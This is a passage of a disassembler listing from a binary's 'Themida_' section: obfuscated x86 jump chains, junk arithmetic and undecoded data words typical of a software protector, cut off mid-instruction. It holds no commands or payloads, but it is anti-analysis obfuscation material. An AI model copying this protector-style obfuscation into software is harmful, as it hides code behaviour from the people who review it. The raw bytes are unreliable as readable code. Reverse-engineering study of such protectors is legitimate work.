Themida_:0051112Cj push esi mov esi, 36763AB4h sub esi, 36763AB0h jmp loc_513D09 ; --------------------------------------------------------------------------- db 52h dd 65E9h, 67685800h, 8900006Bh, 4B82404h, 50000000h, 8E71A6B8h dd 4BD33576h, 8E0505EEh, 0D7A9F72h, 79F30DC9h, 19E9D0F7h dd 0BFFFFF4Bh, 4, 0D0E9FE01h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5144A7: ; CODE XREF: Themida_:0050EF27j push ebx mov bl, 7Eh and bl, 13h dec bl not bl inc bl and bl, 22h push ecx mov ch, 0A7h add ch, 17h push edx mov dh, 29h inc dh add dh, 0AEh add dh, 6Bh neg dh or dh, 0CBh xor dh, 0C5h add ch, dh jmp loc_50D03B ; --------------------------------------------------------------------------- dw 0B3BAh dd 8343FC50h, 814201C2h, 0FC50B1F2h, 5AD00143h, 405h, 0FBF8E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5144F2: ; CODE XREF: Themida_:0050DA58j pop edi shr edi, 3 add edi, 56D3DCDBh xor ebp, edi pop edi sub esp, 4 mov [esp], eax mov eax, 7A661932h jmp loc_5103E6 ; --------------------------------------------------------------------------- loc_514512: ; CODE XREF: Themida_:00504EFBj mov ecx, ebx pop ebx and ebp, ecx pop ecx sub esp, 4 jmp loc_502E54 ; --------------------------------------------------------------------------- dd 4C481h, 0C1810000h, 4, 4EC81h, 2C890000h, 4EC8324h dd 0BE243489h, 273633E1h, 0FF5899E9h, 0FE5966FFh, 71D4E9C7h dd 0F001FFFFh, 2404875Eh, 4BA525Ch, 1000000h, 0F19CE9D5h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_514562: ; CODE XREF: Themida_:00502B4Cj mov ebx, 44F61172h xor [esp+4], ebx pop ebx mov eax, [esp] add esp, 4 xor eax, 44F61172h jmp loc_516E20 ; --------------------------------------------------------------------------- db 0B9h dd 4, 0E959CE29h, 0FFFFBA61h, 5A2434FFh, 815A5452h, 4C2h dd 4C28100h, 87000000h, 0E95C2414h, 0FFFEFB41h, 83241C8Bh dd 0BA5204C4h, 4, 0FEFD7CE9h, 240489FFh, 0E951E888h, 0FFFFDDE7h dd 4BEh, 66ED8100h, 160264Fh, 66C581F5h, 5E60264Fh, 0FFDC20E9h db 0FFh ; --------------------------------------------------------------------------- loc_5145DD: ; CODE XREF: Themida_:00510C06j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esp jmp loc_5102D7 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 0B76DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514602: ; CODE XREF: Themida_:00508FC7j mov dl, 0BCh neg dl push ebx push ecx mov cl, dl mov bh, cl jmp loc_511A87 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0FF241C89h, 8B042474h, 79E9241Ch db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514623: ; CODE XREF: Themida_:005154D6j pop ecx add eax, edi push edx jmp loc_513671 ; --------------------------------------------------------------------------- dword_51462C dd 7B0E68h, 24348900h, 52956853h, 525B73BCh, 0C727EBBAh ; DATA XREF: Themida_:00502A7Co dd 8CA8115h, 42522356h, 2A4BF281h, 0D3310D46h, 4EC815Ah dd 0E9000000h, 0FFFF3B7Bh, 4C681h, 0EE810000h, 4, 5C243487h dd 0BE243489h, 51E23483h, 5714F681h, 0B9514412h, 3DB87C19h dd 0FEE555E9h, 5FFB01FFh, 6E54BE56h, 0E6C15F87h, 0DDEE8103h dd 817CE369h, 831784C3h, 81F3011Ah, 831784EBh, 43E95E1Ah dd 89FFFF46h, 5D54242Ch, 4C581h, 0ED830000h, 242C8704h dd 48F545Ch, 24048124h, 4, 4B8505Ah, 81000000h, 0E01D18C2h dd 81C2016Eh, 0E01D18EAh, 39DBE96Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5146E2: ; CODE XREF: Themida_:00516702j push 2410h mov [esp], esi mov esi, 2FC7325Eh sub edi, esi mov esi, [esp] jmp loc_502E92 ; --------------------------------------------------------------------------- loc_5146F9: ; CODE XREF: Themida_:00505E1Bj sub eax, edx pop edx push eax jmp loc_509830 ; --------------------------------------------------------------------------- dw 0F781h dd 64EF3BD6h, 3C8BFA01h, 4C48124h, 0E9000000h, 0FFFF103Bh dd 0C102E3C1h, 90E902E3h, 52FFFF3Bh, 0C281E289h, 4, 2C281h dd 14330000h, 24143124h, 5C241433h, 0E586C5FEh, 0E530D4F6h dd 0C9E9EC30h, 52FFFF22h, 0FF3758E9h, 645DBEFFh, 0DFE9061Eh dd 81FFFF98h, 32276BE9h, 0BF575D6Ch, 4, 0C8E9F929h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51476F: ; CODE XREF: Themida_:0050633Ej mov eax, 346652CCh jmp loc_50A29A ; --------------------------------------------------------------------------- db 5Ch, 89h, 4 dd 57E08924h, 27B4E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514786: ; CODE XREF: Themida_:0050EFE2j push dword ptr [esp] pop ecx add esp, 4 jmp loc_50BCC2 ; --------------------------------------------------------------------------- dw 525Bh dd 0C281E289h, 4, 0FF8578E9h, 4C481FFh, 83000000h, 875504C4h dd 0D0F72404h, 5D240487h, 3FD8C581h, 0DDF702C3h, 4FC58145h dd 5F6913Ch, 2CB20969h, 0D268E801h, 89000039h, 0F0BF243Ch dd 81443706h, 4ECh, 242C8900h, 0B8DE9h, 4206800h, 1C890000h dd 8638E924h, 0E980FFFFh, 865166E6h, 0CE862434h, 8F71E951h db 2 dup(0FFh) word_514802 dw 56ADh ; DATA XREF: Themida_:00502964o dd 7424E4BEh, 221AE942h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51480E: ; CODE XREF: Themida_:0050A756j and esi, 69D27108h add esi, 36280175h sub esi, 76280179h jmp loc_5086E5 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0EFh dd 4, 5C243C87h, 0BB241C89h, 175C1A10h, 815BDA29h, 3061D4C2h dd 5AD531B7h, 59FAEB81h, 0B5E96AA4h, 2DFFFFD5h, 7EC95B13h dd 0FFCC38E9h, 0FE95CFFh db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51485F: ; CODE XREF: Themida_:0050A46Aj add esp, 4 add bh, 7Fh or bh, 35h push 139Dh mov [esp], ecx sub esp, 4 jmp loc_5141C6 ; --------------------------------------------------------------------------- db 81h dd 6D66E4C1h, 21C18110h, 0E910F958h, 0FFFF7A1Bh, 0CE9C189h dd 55FFFF18h, 0FF26C4E9h, 1EC281FFh, 5779A0C3h, 6416E3BFh dd 0B8E78165h, 816C5C51h, 0BC611CF7h, 4EFC16Eh, 0FF754CE9h dd 241C89FFh, 0EBD5556h, 111FA25h, 5D04246Ch, 0EEB815Bh dd 8911FA25h, 241C8BDAh, 56DE957h, 4BAFFFFh, 56000000h dd 0E21511BEh, 5EF1013Eh, 64C8E981h, 0D129731Eh, 64C8C181h dd 0BA52731Eh, 3EE21511h, 0FF91F8E9h, 240C8BFFh, 4C481h dd 0B6520000h, 53CEFE65h, 39E9EAB3h, 8FFFFF81h, 248B2404h dd 48B6624h, 88E95624h, 8900002Dh, 4812424h, 424h, 24048B00h dd 4C481h, 4050000h, 81000000h, 4ECh, 24348900h, 36231668h dd 0D6875E51h, 0E956D2F7h, 0FFFF36C0h, 0DF4136BAh, 3666E936h dd 0BD55FFFFh, 827ED829h, 0FF1C58E9h, 4C483FFh, 5C24048Fh dd 2C181h, 0C870000h, 0E1F65C24h, 0CCB60F66h, 0FFA621E9h dd 24148BFFh, 0FF9553E9h, 0EB0158FFh, 83242C8Bh, 1C8704C4h dd 0C4815C24h, 4, 4C181h, 28E90000h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5149AF: ; CODE XREF: Themida_:00507D18j or ebp, ebx pop ebx shr ebp, 4 jmp loc_50D6DF ; --------------------------------------------------------------------------- aB_0 db 'ÃÓ;Æ',0 dd 0EB81CB01h, 0C63BD3h, 2434FF59h, 0EC0EE95Eh, 0E95CFFFEh dd 0FFFEE0F3h ; --------------------------------------------------------------------------- loc_5149D8: ; CODE XREF: Themida_:00504CA7j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_51021D ; --------------------------------------------------------------------------- loc_5149E7: ; CODE XREF: Themida_:0050A85Fj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] add ebx, 2 xor ebx, [esp] xor [esp], ebx jmp loc_50D50C ; --------------------------------------------------------------------------- db 89h dd 8BA2414h, 0E9250158h, 0FFFF2595h, 8101ED83h, 412CB0EDh dd 88A9E970h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514A32: ; CODE XREF: Themida_:00502EE9j pop ecx add esp, 4 push eax jmp loc_51079E ; --------------------------------------------------------------------------- loc_514A3F: ; CODE XREF: Themida_:00508440j add eax, 53F0113Ch sub eax, 3E1923FCh push edi mov edi, 786B0DCEh xor edi, 18916348h xor edi, 339874D1h add edi, 0EF275C7Fh jmp loc_509E7A ; --------------------------------------------------------------------------- dw 54B5h dd 0E9BFCD80h, 0FFFF2A0Ah, 0EAC1DAF7h, 0A8EA8102h, 0BE12D7CDh dd 5DB35EE6h, 148BD631h, 4C48124h, 31000000h, 0F5815EF5h dd 4DBC0E8Eh, 6082C381h, 0EB290877h, 0FFAC48E9h, 0CB0566FFh dd 0F0296634h, 0FF316DE9h db 0FFh ; --------------------------------------------------------------------------- loc_514AAD: ; CODE XREF: Themida_:005042C1j xchg ecx, [esp] jmp loc_514F78 ; --------------------------------------------------------------------------- byte_514AB5 db 0FFh, 77h, 3Ch ; DATA XREF: Themida_:005028B4o aUhqq db 'UhqQ',0 align 2 dw 1489h dd 671CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514AC6: ; CODE XREF: Themida_:0051758Aj mov eax, 1F7D58BFh add [esp+8], eax mov eax, [esp] add esp, 4 pop edi mov edi, [esp] add esp, 4 add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ebp mov ebp, 687D229Dh shr ebp, 2 not ebp dec ebp jmp loc_502D6F ; --------------------------------------------------------------------------- db 83h dd 4BE904C4h, 5BFFFEE4h, 3E5368h, 240C8900h, 6602EC83h dd 0B2241489h, 0E9505326h, 0E7Bh, 0DFA1E95Dh, 60BDFFFEh dd 8109B209h, 9E056CE5h, 5CED8129h, 0E9099201h, 273Fh ; --------------------------------------------------------------------------- loc_514B40: ; CODE XREF: Themida_:00513726j add esi, 4 jmp loc_5074D8 ; --------------------------------------------------------------------------- loc_514B4B: ; CODE XREF: Themida_:005050E5j add ebx, 486A0A61h pop edx jmp loc_502ACB ; --------------------------------------------------------------------------- loc_514B57: ; CODE XREF: Themida_:00507C8Dj xor ecx, 452E2528h add ebp, ecx pop ecx push edx mov edx, 4 add ebp, edx mov edx, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push ebp mov ebp, esp add ebp, 4 push edi mov edi, 4 sub ebp, 54986775h add ebp, edi add ebp, 54986775h pop edi jmp loc_50DFD5 ; --------------------------------------------------------------------------- db 1 dd 0EE835FFEh, 0BC58E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514BA6: ; CODE XREF: Themida_:0050A176j add ebx, edx add [ebx], ecx pop ebx mov edx, [esp] add esp, 4 pop ecx loc_514BB5: ; CODE XREF: Themida_:00506738j push ebx jmp loc_510A70 ; --------------------------------------------------------------------------- loc_514BBB: ; CODE XREF: Themida_:005123E4j mov ebx, 0 add ebx, 7AD215CFh jmp loc_51317F ; --------------------------------------------------------------------------- db 0C1h dd 0C28103E2h, 1FC46C2Ch, 3EAC14Ah, 805E9h db 0 ; --------------------------------------------------------------------------- loc_514BDD: ; CODE XREF: Themida_:005173DCj xor eax, edi pop edi add esi, eax pop eax jmp loc_50FD0A ; --------------------------------------------------------------------------- loc_514BE8: ; CODE XREF: Themida_:005155C9j mov [esp], ebx mov ebx, 1 jmp loc_510080 ; --------------------------------------------------------------------------- db 5Ah, 31h, 0FBh dd 0F268E95Fh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_514BFE: ; CODE XREF: Themida_:00515EA6j pop eax jmp loc_5071DF ; --------------------------------------------------------------------------- dd 4244481h, 531C7EEBh, 0EB815B5Eh, 4D05F0Bh, 0FFE52FE9h dd 241487FFh, 4EC815Ch, 89000000h, 0A968243Ch, 8B210C07h dd 9AE9243Ch, 8BFFFF03h, 8956240Ch, 4C681E6h, 83000000h dd 348704C6h, 780BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514C4A: ; CODE XREF: Themida_:0050EABFj sub eax, 5A0ACDBDh push eax pop edi pop eax add ebx, edi pop edi sub ebx, 4 push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], eax sub esp, 4 mov [esp], esp push edi mov edi, 4 add [esp+4], edi mov edi, [esp] add esp, 4 pop eax push esi mov esi, 40953E35h jmp loc_516CC8 ; --------------------------------------------------------------------------- loc_514C97: ; CODE XREF: Themida_:00508AE6j shr edx, 3 jmp loc_507BDE ; --------------------------------------------------------------------------- loc_514C9F: ; CODE XREF: Themida_:0050B8F2j add ecx, 1DEC02B5h add ecx, eax sub ecx, 1DEC02B5h pop eax push edx jmp loc_50C0E4 ; --------------------------------------------------------------------------- dd 24248Bh, 0E99C2404h, 80h, 2EE9D389h db 0FDh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_514CC7: ; CODE XREF: Themida_:0050E526j mov ebx, 34AF466Dh sub esp, 4 jmp loc_50A33E ; --------------------------------------------------------------------------- loc_514CD7: ; CODE XREF: Themida_:0050A742j xchg ecx, [esp] pop esp movzx cx, al push small 6C7Fh mov [esp], cx jmp loc_502ACB ; --------------------------------------------------------------------------- loc_514CEC: ; CODE XREF: Themida_:0050816Cj push 68E4h jmp loc_507EFB ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFF361Fh, 815AD531h, 0D638F9EDh, 4AC58175h, 894282BAh dd 31685DEFh, 89000015h, 0FDB9240Ch, 100A93Ch, 0EE8159CEh dd 575657CDh, 0C681FE01h, 575657CDh, 0FEF208E9h, 0E9D189FFh dd 0FFFFF1E7h, 0E9241C89h, 0FFFF1AD2h, 0FEDD86E9h, 839141FFh dd 0E99101E8h, 0FFFF1815h, 15FFA29h, 4462E9EAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514D5A: ; CODE XREF: Themida_:00510689j sub ebp, 36E3297Ah pop edx xchg ebp, [esp] pop esp pop ebx retn ; --------------------------------------------------------------------------- db 0E9h dd 0FFFEDD5Fh, 241C895Ch, 0C381E389h, 4, 4C381h, 7BE90000h dd 51FFFF30h, 1AE90FB5h, 5DFFFEE9h, 5C24048Fh, 50241489h dd 0A76C9AB8h, 60300D21h, 0C4E9059Eh db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514DA3: ; CODE XREF: Themida_:00507F29j push 254Bh jmp loc_512373 ; --------------------------------------------------------------------------- db 50h, 0B0h, 4Dh dd 33E9C608h, 0F700000Ch, 0E98141D9h, 85B2CB8Dh, 8959CA31h dd 24148BD1h, 4C481h, 0EFB80000h, 3166C520h, 240C8BC8h dd 0E904C483h, 0FFFF0B68h ; --------------------------------------------------------------------------- loc_514DE0: ; CODE XREF: Themida_:00508F4Cj push ebx mov ebx, 44332D28h jmp loc_508ADA ; --------------------------------------------------------------------------- db 51h dd 5F7E1AB9h, 4E1C125h, 3DE8F181h, 0E9C12DFCh, 0D9F74907h dd 0C92FF181h, 0CA89CC4Bh, 756DE959h, 315DFFFFh, 2434FFC8h dd 4C48359h, 0C231C331h, 0FEDCAAE9h, 4C483FFh, 0FEDCA2E9h dd 0DAE981FFh, 0E9E7DAC5h, 0FFFFAD99h, 1117685Ah, 9CE90000h dd 1000006h, 6804245Ch, 17D3h, 0B9240C89h, 7C6A59C3h, 0F181D9F7h dd 0E6C6EE5Fh, 8244C29h, 246C8159h, 3A716704h, 0EF68E900h dd 248BFFFFh, 23F6E924h, 4890000h, 0BF575324h, 2, 3C8BFB89h dd 60E95724h, 5FFFFF83h, 2E7C14Fh, 63B2C781h, 0FE3178A7h dd 5EF0015Fh, 26F2E9h, 5EF70100h, 12E95156h, 83FFFFF4h dd 0F83004C4h, 8B2434FFh, 0C481241Ch, 4, 0E9E08950h, 0FFFF7847h dd 5158E588h, 1247C86h, 7C86D7F6h, 80590124h, 0E5C001C5h dd 24C58004h, 0F62AC580h, 353C68D5h, 1C890000h, 8071B324h dd 0C38035C3h, 2E3C07Fh, 0E936EB80h, 0FFFF42BCh ; --------------------------------------------------------------------------- loc_514EF8: ; CODE XREF: Themida_:00508A82j xor edi, 34B06899h add edi, 23C458CAh jmp loc_507A7E ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 81E18951h, 4C1h, 4C18100h, 0E9000000h, 0FFFF49DEh, 8DFCE81h dd 0EEC146A9h, 85C68103h, 89F12056h, 0CE015EF1h, 160AE9h db 0 ; --------------------------------------------------------------------------- loc_514F39: ; CODE XREF: Themida_:0050BCCAj add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] or eax, eax jnz loc_50F184 sub esp, 4 mov [esp], esi mov esi, 6D310BA3h xor esi, 6D310BA2h push esi xor dword ptr [esp], 308338D2h pop edx jmp loc_51796A ; --------------------------------------------------------------------------- loc_514F78: ; CODE XREF: Themida_:00514AB0j pop esp mov [esp], edx push 1DAA1CE5h pop edx sub esp, 4 mov [esp], esi mov esi, 1266002Ch and edx, esi pop esi jmp loc_513FFE ; --------------------------------------------------------------------------- dd 7FFAEA81h, 0D70157BEh, 4EF835Ah, 5C243C87h, 68241489h dd 0C2h, 0B4240489h, 0AE96E9DBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514FBA: ; CODE XREF: Themida_:0050FFB0j push 2C23h mov [esp], edx mov edx, 342119F5h shl edx, 5 xor edx, 84233EA4h sub ebx, edx jmp loc_513D9F ; --------------------------------------------------------------------------- db 1 dd 0C3815FFDh, 319C1E2Ch, 0BD55EB01h, 12122B92h, 0FEFA4AE9h dd 4C481FFh, 51000000h, 93466DB9h, 0C017E932h, 0CA01FFFFh dd 4C28359h, 0E9241487h, 1ED0h, 6E0AC181h, 0F1017FFCh dd 6E0AE981h, 515E7FFCh, 42474FFh, 83240C8Bh, 48F04C4h dd 8B665C24h, 0EC812404h, 4, 0FFEA92E9h, 4BEFFh, 0F1010000h dd 9A65E95Eh, 0FD88FFFFh, 0EF88C5FEh, 0E7805966h, 0E9DFF67Bh dd 0FFFF3868h ; --------------------------------------------------------------------------- loc_515058: ; CODE XREF: Themida_:0050C921j push edi mov edi, 4 sub ebp, edi pop edi xchg ebp, [esp] pop esp jmp loc_50CF0A ; --------------------------------------------------------------------------- loc_51506A: ; CODE XREF: Themida_:005140BEj push 4396h mov [esp], edx mov edx, edi mov ebx, edx pop edx mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub esp, 4 mov [esp], eax jmp loc_504BE4 ; --------------------------------------------------------------------------- loc_51509B: ; CODE XREF: Themida_:005056AAj add ebp, 5DA7415Fh mov edx, ebp mov ebp, [esp] add esp, 4 add edx, edi sub esp, 4 mov [esp], ebx mov ebx, 0 jmp loc_50A675 ; --------------------------------------------------------------------------- dw 0DE01h dd 7BF7EE81h, 0EE81258Ah, 5BF960BEh, 0E9241C8Bh, 0FFFF71B7h dd 31243433h, 34332434h, 5888E924h, 0DAF7FFFFh, 5D2FEA81h dd 0E2813618h, 3B4E5523h, 8102E2C1h, 822FC1E2h, 7CEA817Fh dd 1600000h, 59E95AD6h, 5FFFFFB8h, 5820E957h, 0BA52FFFFh dd 4, 0E95AD101h, 0FFFF3FFCh, 38E8E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_515122: ; CODE XREF: Themida_:005098CDj add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp shr ecx, 0Ah push ecx push eax push 7B28h jmp loc_507567 ; --------------------------------------------------------------------------- word_51513E dw 8B66h ; DATA XREF: Themida_:00502A6Co dd 5BE92404h, 81FFFF37h, 4ECh, 24148900h, 0B951E289h, 34AE459Fh dd 0FF9650E9h db 0FFh ; --------------------------------------------------------------------------- loc_51515D: ; CODE XREF: Themida_:00507C6Fj mov [esp], esi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 push ecx push ebp jmp loc_505C91 ; --------------------------------------------------------------------------- loc_515194: ; CODE XREF: Themida_:00516BA6j add ebp, 0FB3DBB04h add eax, ebp pop ebp push edx jmp loc_509628 ; --------------------------------------------------------------------------- loc_5151A3: ; CODE XREF: Themida_:0050B1DDj mov [esp], eax jmp loc_508268 ; --------------------------------------------------------------------------- loc_5151AB: ; CODE XREF: Themida_:00504086j pop ecx sub al, bh mov ebx, [esp] add esp, 4 add bl, 77h push edx mov dh, 47h jmp loc_502B51 ; --------------------------------------------------------------------------- word_5151C2 dw 968h ; DATA XREF: Themida_:00502894o dd 54000032h, 5124048Fh, 10E9E189h, 53FFFFA4h, 0D7E9E389h dd 81FFFFA0h, 4C4h, 59C82900h, 0B951C801h, 3DA7939h, 0FFDE22E9h db 0FFh ; --------------------------------------------------------------------------- loc_5151F1: ; CODE XREF: Themida_:0050580Bj push bx mov bl, dh not bl mov dh, bl pop bx jmp loc_50A6ED ; --------------------------------------------------------------------------- dd 627F68h, 243C8900h, 347866BFh, 4815759h, 547BAF24h dd 24348B5Ch, 0FFC366E9h db 0FFh ; --------------------------------------------------------------------------- loc_51521D: ; CODE XREF: Themida_:00507DCEj sub ebx, esi pop esi mov ebp, ebx pop ebx push ecx push eax jmp loc_506765 ; --------------------------------------------------------------------------- dw 0D829h dd 24048B93h, 5304C483h, 5B2414F7h, 0FEF1CAE9h, 391E68FFh dd 4890000h, 800FB024h, 0EB8028EBh, 0E9C300E7h, 0FFFFA21Dh dd 0E189515Ch, 4C181h, 0E9830000h, 1B09E904h, 0DD01FFFFh dd 0F79E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_51526E: ; CODE XREF: Themida_:005128A0j xor eax, edx jmp loc_50D346 ; --------------------------------------------------------------------------- db 50h, 0B0h, 81h dd 640CD0F6h, 0FE2CD0F6h, 0C0FEC0FEh, 7934C20Ch, 6658C708h dd 662C0F68h, 0E9241C89h, 0FFFF3361h, 85FDC681h, 0E6812CD4h dd 1C641636h, 7870EE81h, 6E9996Bh, 88FFFF2Dh, 70E95AF3h dd 42FFFF7Ah, 0B1B9C281h, 64E9E606h, 29FFFF9Eh, 302D5FF8h dd 0E92F7311h, 0FFFFD32Fh ; --------------------------------------------------------------------------- loc_5152D0: ; CODE XREF: Themida_:00509ECBj pop esp add edx, 1 push ebp mov ebp, 5D9E18FFh jmp loc_511D05 ; --------------------------------------------------------------------------- dw 8953h dd 4C381E3h, 0E9000000h, 0FFFF717Eh, 81DEF759h, 0A44011C6h dd 46C6812Fh, 31964E41h, 0F8015EF7h, 0FEF7A8E9h db 0FFh byte_515309 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005028CCo dd 4EC8124h, 89000000h, 21E9242Ch, 31FFFFB1h, 4332404h dd 0C875C24h, 0B868E924h, 1489FFFFh, 2A5ABA24h, 0D2E91CBFh db 0F5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_515337: ; CODE XREF: Themida_:00511010j mov ebx, 442F1131h jmp loc_50B7A2 ; --------------------------------------------------------------------------- db 81h, 0C2h, 60h dd 81622163h, 113435EAh, 24048B23h, 8704C483h, 248B2414h dd 68E9F724h, 60C7h, 50241489h, 0D761E99Ch, 148BFFFEh dd 32D3E924h, 0ADBDFFFFh, 1024C71h, 242C8BEFh, 4C481h dd 0BB530000h, 42091BA6h, 4F5BDF09h, 2F82EF81h, 0FE91712h dd 9FFFF47h, 0F1815DE9h, 6EFF6C7Ah, 591C4F09h ; --------------------------------------------------------------------------- loc_5153A4: ; CODE XREF: Themida_:loc_503007j push 0A45h mov [esp], edx jmp loc_507483 ; --------------------------------------------------------------------------- db 5Dh, 5, 6Bh dd 51795064h, 1C29E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5153BE: ; CODE XREF: Themida_:0050FA26j pop esp jmp loc_5177C6 ; --------------------------------------------------------------------------- dword_5153C4 dd 9D1C77FFh, 24041958h, 0D6F9E99Ch ; DATA XREF: Themida_:005029E4o db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5153D2: ; CODE XREF: Themida_:00506B6Ej push eax push esp pop eax add eax, 4 add eax, 4 jmp loc_51122C ; --------------------------------------------------------------------------- dw 0EA81h dd 0F58A002h, 0FF02C2E9h, 240489FFh, 2B8h, 0B8BE5600h dd 164080Bh, 0EA815EF2h, 6B621B47h, 5BE9C201h db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51540B: ; CODE XREF: Themida_:0051786Fj add esp, 4 xchg ecx, ebp neg ecx xchg ecx, ebp shr ebp, 3 sub ebp, 0B4A347DFh or edx, ebp mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_50AA18 ; --------------------------------------------------------------------------- db 50h dd 88D18851h, 0D881E9CCh, 0C483FFFEh, 7645E904h, 0E951FFFFh dd 0FFFFD76Fh, 0C781D7F7h, 0C928CB04h, 815FFE21h, 821E29C6h dd 2C815624h, 0AD51FD24h, 51EFE979h, 248BFFFFh, 0EA50E924h dd 0C481FFFEh, 4, 19786866h, 26A0E9h db 0 ; --------------------------------------------------------------------------- loc_515485: ; CODE XREF: Themida_:00515894j add esp, 4 pop dword ptr [esp] pop esp push ebx push ebp push 4BE2h mov [esp], ecx push 69BA3108h mov ecx, [esp] jmp loc_50C996 ; --------------------------------------------------------------------------- db 66h dd 2244C01h, 0FFD4A7E9h, 5E089FFh, 4, 0FFBF32E9h, 71DEBEFFh dd 96E90815h, 52FFFEDDh, 0FEF446E9h db 0FFh aMsx db '¬éx(',0 ; DATA XREF: Themida_:005028C8o db 0 ; --------------------------------------------------------------------------- loc_5154CF: ; CODE XREF: Themida_:005060E6j mov ecx, 20h mov eax, ecx jmp loc_514623 ; --------------------------------------------------------------------------- db 89h dd 4BB241Ch, 0E9000000h, 0FFFFBB12h ; --------------------------------------------------------------------------- loc_5154E8: ; CODE XREF: Themida_:0051216Fj and ecx, eax push dword ptr [esp] mov eax, [esp] push ebx jmp loc_5030B2 ; --------------------------------------------------------------------------- dw 5351h dd 674BD68h, 241C8B41h, 4C481h, 0F3810000h, 0E0D51C3h dd 8103EBC1h, 0B6587EBh, 2CF3815Ch, 89ADD5FFh, 0C8015BD9h dd 24048759h, 0FF8473E9h, 39BE56FFh, 8102E537h, 4ECh, 24148900h dd 0FD5467BAh, 87D2F71Dh, 0C65DE9CAh, 815AFFFFh, 0E0613FEEh dd 0CAEE815Fh, 0E965DE53h, 0FFFF7DDBh, 0FED56EE9h db 0FFh byte_51555D db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0050291Co dd 411589Dh, 0B2E99C24h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_51556B: ; CODE XREF: Themida_:00511D00j shl esi, 5 and esi, 4F963FBFh shl esi, 8 xor esi, 23BA004h add ebx, esi pop esi push ebp jmp loc_5075E2 ; --------------------------------------------------------------------------- dw 1368h dd 89000030h, 6850241Ch, 11D53E1Fh, 0E0442D58h, 0C3899AFAh dd 0BB8FE958h db 2 dup(0FFh) word_5155A2 dw 34FFh ; DATA XREF: Themida_:0050297Co dd 2434FF24h, 0E3895359h, 0FEF8E0E9h, 0F7DAF7FFh, 84E950D2h db 0DEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5155BB: ; CODE XREF: Themida_:005134EFj shl edx, 1 push 11F2h mov [esp], ecx push edi sub esp, 4 jmp loc_514BE8 ; --------------------------------------------------------------------------- word_5155CE dw 8B66h ; DATA XREF: Themida_:005029E8o dd 268240Ch, 0E9000009h, 0FFFFA147h, 0B8240489h, 4, 4244401h dd 0E92434FFh, 0FFFF4F7Ch dword_5155F0 dd 0FF2434FFh, 81582434h, 4C4h, 4EC8300h, 0FF4C2BE9h ; DATA XREF: Themida_:0050293Co db 0FFh ; --------------------------------------------------------------------------- loc_515605: ; CODE XREF: Themida_:00502C92j add esi, 4 xchg esi, [esp] jmp loc_50E3F5 ; --------------------------------------------------------------------------- db 0FFh db 34h, 24h, 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_504A01 ; --------------------------------------------------------------------------- db 0B1h dd 66CB28DDh, 0C8B6659h, 2C48324h, 0FF7917E9h db 0FFh byte_51563D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00502938o dd 11E5E924h, 89510000h, 4C181E1h, 81000000h, 4C1h, 7532E900h dd 0BE56FFFFh, 6BA21BD4h, 348BF329h, 0E6895624h, 4C681h dd 0E1E90000h, 8BFFFFD1h, 0C483241Ch, 59C82904h, 3B05D829h dd 684CA975h, 6045h, 83241489h, 48904ECh, 84BB5324h, 8306F836h dd 0B951FFEBh, 48C67BFAh, 531BE181h, 0E1813797h, 247F3700h dd 8E0C981h, 0B0E92D74h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5156B7: ; CODE XREF: Themida_:00505256j add ebx, ebp pop 